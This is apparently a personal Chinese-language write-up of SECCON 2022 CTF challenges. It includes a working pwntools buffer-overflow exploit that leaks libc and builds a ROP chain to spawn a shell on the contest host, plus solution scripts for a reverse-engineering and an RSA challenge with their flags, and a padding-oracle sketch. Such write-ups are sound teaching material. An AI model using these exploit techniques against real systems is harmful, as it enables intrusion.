从一开始入门CTF,SECCON的名字就如雷贯耳,如今参加了又很失望,距离参加这种比赛还是太远了。只是作了两个100人以上作出来的小题。
pwn koncha
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-50h] BYREF
char v5[48]; // [rsp+20h] [rbp-30h] BYREF
puts("Hello! What is your name?");
__isoc99_scanf("%[^\n]s", v5);
printf("Nice to meet you, %s!\n", v5);
puts("Which country do you live in?");
__isoc99_scanf("%s", v4);
printf("Wow, %s is such a nice country!\n", v4);
puts("It was nice meeting you. Goodbye!");
return 0;
}
也算是个送分的题,题目很容易看,就两个scanf很显然这里有溢出,只是溢出有一点小限制,猜测第一个会带出一个地址,试了一下猜对了,这里有个小技巧:scanf里取消了回车,如果你输入一个字符,那么里边的残留就会被截断,从而得到不了泄露。这里需要直接输入一个回车,scanf测试到错误跳过。其实就这么一个坑,带出来的是libc 地址,所以不用第二次处理就能直接得到shell了
from pwn import *
#p = process('./p4')
p = remote('koncha.seccon.games', 9001)
context(arch='amd64', log_level='debug')
libc_elf = ELF('./libc-2.31.so')
#gdb.attach(p)
#pause()
p.sendlineafter(b"Hello! What is your name?", b'') #直接回车绕过scanf保留栈内的数据残留
p.recvuntil(b'Nice to meet you, ')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1f12e8
libc_elf.address = libc_base
print('libc:', hex(libc_base))
pop_rdi = next(libc_elf.search(asm('pop rdi; ret')))
bin_sh = next(libc_elf.search(b'/bin/sh\x00'))
pay = b'A'*0x58+ flat(pop_rdi+1, pop_rdi, bin_sh, libc_elf.sym['system'])
p.sendlineafter(b"Which country do you live in?\n", pay)
p.interactive()
rev babycmp
这个也算简单,虽然用了MM但用得比较少,其实长长型也容易理解,不算是坑
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v5; // r12
size_t v10; // rax
size_t v11; // rdi
unsigned __int64 v12; // rcx
const char *v13; // rsi
__int64 v14; // rax
unsigned __int64 v15; // rdx
int v16; // r12d
__m128i v18; // [rsp+0h] [rbp-68h]
char v19[8]; // [rsp+10h] [rbp-58h] BYREF
__m128i si128; // [rsp+20h] [rbp-48h]
__m128i v21; // [rsp+30h] [rbp-38h]
int v22; // [rsp+40h] [rbp-28h]
unsigned __int64 v23; // [rsp+48h] [rbp-20h]
v23 = __readfsqword(0x28u);
_RAX = 0LL;
if ( argc <= 1 )
{
v16 = 1;
__printf_chk(1LL, "Usage: %s FLAG\n", *argv);
}
else
{
v5 = argv[1];
__asm { cpuid }
v22 = '8\nA';
strcpy(v19, "N 2022");
si128 = _mm_load_si128((const __m128i *)&xmmword_3140);
v21 = _mm_load_si128((const __m128i *)&xmmword_3150);
v18 = _mm_load_si128((const __m128i *)&xmmword_3160);
v10 = strlen(v5);
v11 = v10;
if ( v10 )
{
*v5 ^= 0x57u;
v12 = 1LL;
if ( v10 != 1 )
{
do
{
v13 = &argv[1][v12];
v14 = v12 / 0x16
+ 2 * (v12 / 0x16 + (((0x2E8BA2E8BA2E8BA3LL * (unsigned __int128)v12) >> 64) & 0xFFFFFFFFFFFFFFFCLL));
v15 = v12++;
*v13 ^= v18.m128i_u8[v15 - 2 * v14];
}
while ( v11 != v12 );
}
v5 = argv[1];
}
if ( *(_OWORD *)&si128 == *(_OWORD *)v5 && *(_OWORD *)&v21 == *((_OWORD *)v5 + 1) && *((_DWORD *)v5 + 8) == v22 )
{
v16 = 0;
puts("Correct!");
}
else
{
v16 = 0;
puts("Wrong...");
}
}
return v16;
}
从流程上看*v13 ^=.... 这是个类似流加密,也就是生成一个流,然后把明文依次与与流异或。它的流是固定的一个串里的值,偏移通过流计算得到。所以直接还原流,就可以用密文直接异或出明文
v1 = bytes.fromhex('2B2D3675357F1A44591E2320202F2004')[::-1]
v2 = bytes.fromhex('362B470401093C150736506D035A1711')[::-1]
v3 = bytes.fromhex('380A41')[::-1]
v18 = bytes.fromhex('4F43434553206F7420656D6F636C6557')[::-1]+b"N 2022"
c = v1+v2+v3
v15 = 35
v12 = 1
m = [c[0]^0x57]
for v12 in range(1,35):
v14 = v12 // 0x16 + 2 * (v12 // 0x16 + (((0x2E8BA2E8BA2E8BA3 * v12) >> 64) & 0xFFFFFFFFFFFFFFFC))
print(v12, v14, v12 - 2*v14)
m.append(c[v12]^ v18[v12-2*v14])
print(m, bytes(m))
pqpq
这个作出来的人也很多,可惜这有个坎过不去,等WP了
原题
from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag
p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537
assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)
assert m < n
c1p = pow(p, e, n)
c1q = pow(q, e, n)
cm = pow(m, e, n)
c1 = (c1p - c1q) % n
c2 = pow(p - q, e, n)
print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")
这里e = 2*65537 显然这是个坑,但是这个坑有点大,超过我的跳跃能力。
先从头看吧,c1p,c1q分别是p^e,q^e然后得到c1,c2其实这里是为了绕人,这两个值其实就是
c1 = p**e - q**e (mod n)
c2 = (p-q)**e = p**e + q**e (mod n)
c1 + c2 = 2*p**e (mod n)
c2 - c1 = 2*q**e (mod n)
这样可以直接用gcd根据 c1,c2求出p,q
然后问题就严重了,e和phi有公因子2,这时候一般由于明文比较小,求出来的就是m**2,但这里加了padding使的明文与n相差不大,所以我就不会了.等wp吧,看了ddl的WP,发现这方法一样啊,这个方法前两天专门写过,怎么我就不对了呢。然后再默写一遍秒成(sage运行)
from Crypto.Util.number import long_to_bytes
e = 131074
n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866
#
p = gcd(c1+c2, n)
q = gcd(c2-c1, n)
r = n//p//q
phi = (p-1)*(q-1)*(r-1)
d = inverse_mod(e//2, phi)
m2 = pow(cm,d,n)
#分别对n各因子求
P.<x> = PolynomialRing(Zmod(p))
f = x^2 - m2
f.monic()
res1 = f.roots()
P.<x> = PolynomialRing(Zmod(q))
f = x^2 - m2
f.monic()
res2 = f.roots()
P.<x> = PolynomialRing(Zmod(r))
f = x^2 - m2
f.monic()
res3 = f.roots()
for x in res1:
for y in res2:
for z in res3:
m = CRT([int(x[0]), int(y[0]), int(z[0])],[p,q,r])
#print(m)
flag = long_to_bytes(m)
if b'SEC' in flag:
print(flag)
'''
┌──(kali㉿kali)-[~/ctf/seccon]
└─$ sage a.sage
b'\x12=\x04q\x9b\xb8\x1c\x10C\x02\x1e\x13`\xac>A\x9c\xf9\x9d\xc2\x83\xc2\xcd\x15\x97\x86\x8e\xd2\x85*s\r\x18~\x9b\xbai\xb1\x07\xacF\x0f\xfcrZ\xf1\xd0\x1f\xb0q\xe4\xbf\xd2\x87G\x1b\xdc\xd2u\x97\xb3\xcc?\xba\xba@\xae\x96\xdc\x1b\x10\xd3\x00f\nH\x99d\xf7{\xea \x82T\xf5\x03\x81\xd0:\r\x8d\xa6P\x92\xa0\x1d\x91n u6}:\x98\r\xa0\xbc\xe5\x84y\x01\x89\xa4P\xf4\xf9\xe4\xf2\x95\x8d\x85\x11\xfezN\x06- e(\x80\xd2\x01\x8e\x94&\xf7amQ\x08@\xd4w\x8e\xbbP\xfa\x17SECCON{being_able_to_s0lve_this_1s_great!}'
'''
crypto witches_symmetric_exam
这个题也挺好,题目将flag先进行GCM模式加密再进行OFB模式加密,然后提供解密是否成功的反馈.
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flag import flag, secret_spell
key = get_random_bytes(16)
nonce = get_random_bytes(16)
def encrypt():
data = secret_spell
gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data) #CTR+消息验证码(?)
ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)
ofb_iv = get_random_bytes(16)
ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv) #OFB
ciphertext = ofb_cipher.encrypt(ofb_input)
return ofb_iv + ciphertext
def decrypt(data):
ofb_iv = data[:16]
ofb_ciphertext = data[16:]
ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)
try:
m = ofb_cipher.decrypt(ofb_ciphertext)
temp = unpad(m, 16) #从最后一位padding
except:
return b"ofb error"
try:
gcm_tag = temp[:16]
gcm_nonce = temp[16:32]
gcm_ciphertext = temp[32:]
gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)
plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
except:
return b"gcm error"
if b"give me key" == plaintext:
your_spell = input("ok, please say secret spell:").encode()
if your_spell == secret_spell:
return flag
else:
return b"Try Harder"
return b"ok"
print(f"ciphertext: {encrypt().hex()}")
while True:
c = input("ciphertext: ")
print(decrypt(bytes.fromhex(c)))
后一步是OFB,这种模式只加密生成z流,明文跟它异或得到密文,只需要爆破得到z流就可以进行加解密.
得到z的方法就是padding oracle,简单的说如果一断密文结束了,那么最后一个一定是padding如果每段是16字符,明文差3个不够16就在后边被3个3,爆破的方法就是从最后一位改,如果它不报错了就说明末位是1,也就得到了最后一位z然后将最后两位改为2(最后一位得到z后可以算出来,所以需要爆破的是倒数第2位)这样16*256次就能得到一断的z,然后依次向前爆就行了.
可以后边一步GCM会运算一个校验码这个就不会整了,等WP .
后边都看了,都不会,等着吧.